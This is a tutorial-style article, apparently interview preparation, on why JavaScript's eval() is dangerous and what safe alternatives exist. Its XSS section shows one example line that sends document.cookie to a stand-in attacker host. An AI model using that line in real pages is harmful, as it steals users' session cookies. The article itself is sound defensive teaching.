Why eval() is dangerous
eval() takes a string of JavaScript source and executes it as ordinary code while the program runs. It is literally a miniature JavaScript interpreter inside JavaScript, and that is why it turns any data into executable code, with all the security consequences that follow.
Theory
TL;DR
eval(code)runs a string as code in the current execution context.- If user input reaches that string, you have XSS or remote code execution.
eval()sees every variable in the current scope, so it breaks isolation.- The engine cannot optimise such code; JIT and inlining are switched off.
- Direct and indirect calls run in different scopes.
- A strict CSP without
unsafe-evalforbids the call and the browser throws. new Function()carries the same risk, because it also executes a string as code.
Quick example
eval("console.log('Hello, world!')"); // the string is executed as code
const userInput = prompt('Enter something:');
eval(userInput); // never do this: the user decides what your app runsRisk 1: XSS and arbitrary code execution
If user input reaches eval(), it is a disaster. Typing this is enough:
alert('Hacked!');and the code runs. In the worst case:
fetch('https://attacker.example.com/steal?cookies=' + document.cookie);The attacker gets the user's cookies and auth token. This is called XSS (Cross-Site Scripting) or Remote Code Execution.
Risk 2: broken scope isolation
eval() runs in the current context, so it has access to every variable and function of your script:
const secret = 'myToken123';
eval('console.log(secret)'); // prints the secretIf somebody injects their own code, they get full access to the application's internal state.
Risk 3: lost optimisation and unpredictable scope
Modern engines (V8, SpiderMonkey, JavaScriptCore) optimise code heavily at compile time. Next to eval() the engine cannot predict what will be executed, so it has to switch the optimisation off. The consequences:
- the code runs slower;
- the garbage collector steps in more often;
- inlining and JIT optimisation are disabled.
A separate trap is the difference between direct and indirect calls. A direct call runs in the current scope:
let x = 1;
eval('x = 10');
console.log(x); // 10An indirect call, for example through (0, eval)(...), runs in the global scope:
let x = 1;
(0, eval)('x = 10');
console.log(x); // 1
console.log(window.x); // 10That makes the code unpredictable and hard to debug.
Safe alternatives and CSP
Most often people reach for eval() to parse JSON, call a function by name or evaluate an expression from a string. All of these have safe counterparts:
| Task | Safe alternative |
|---|---|
| Parsing JSON | JSON.parse(str) |
| Calling a function by name | obj[funcName]() |
| Dynamic logic | Map or switch |
| Templates | template literals (strings with substitution) |
| Mathematical expressions | a dedicated parser (math.js, expr-eval) |
The Function constructor is not safe either. People sometimes assume new Function() is safer, but it also executes a string as code:
const sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 3)); // 5It works, but if user data ends up in there, the risk is the same as with eval().
On top of that, eval() cannot be used under a strict Content Security Policy. If the HTTP headers say:
Content-Security-Policy: script-src 'self'then calling eval() simply makes the browser throw:
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowedComparing a bad and an acceptable approach. Bad:
function runExpression(expr) {
return eval(expr);
}
runExpression('2 + 3 * 4');Better, with an up-front check of the allowed characters:
function safeEval(expr) {
const allowed = /^[0-9+\-*/().\s]+$/;
if (!allowed.test(expr)) throw new Error('Invalid characters');
return Function(`"use strict"; return (${expr})`)();
}
console.log(safeEval('2 + 3 * 4')); // 14A summary of the risks:
| Problem | Why it is dangerous |
|---|---|
| XSS vulnerability | Executes arbitrary code |
| Breaks isolation | Access to every variable |
| Slow | Disables engine optimisation |
| Unpredictable | Different scope for direct and indirect calls |
| Incompatible with CSP | Forbidden on sites with a strict policy |
Common mistakes
- Parsing JSON with
eval(). A classic old habit;JSON.parse()is both faster and does not execute code. - Believing
new Function()is safe. It is the same mechanism, just with its own global scope. - Filtering "bad words" out of the string. Blacklists get bypassed; the only reliable approach is an allowlist of characters, or not executing the string at all.
- Using
eval()to call a function by name. Instead ofeval('obj.' + name + '()')writeobj[name](), which is both safe and readable. - Ignoring indirect calls.
(0, eval)(str),window.eval(str)andsetTimeout('code')also execute a string as code, often in the global scope. - Adding
unsafe-evalto the CSP just to make things work. That removes exactly the protection meant to save the app from injected code.
Short Answer
Interview readyA concise answer to help you respond confidently on this topic during an interview.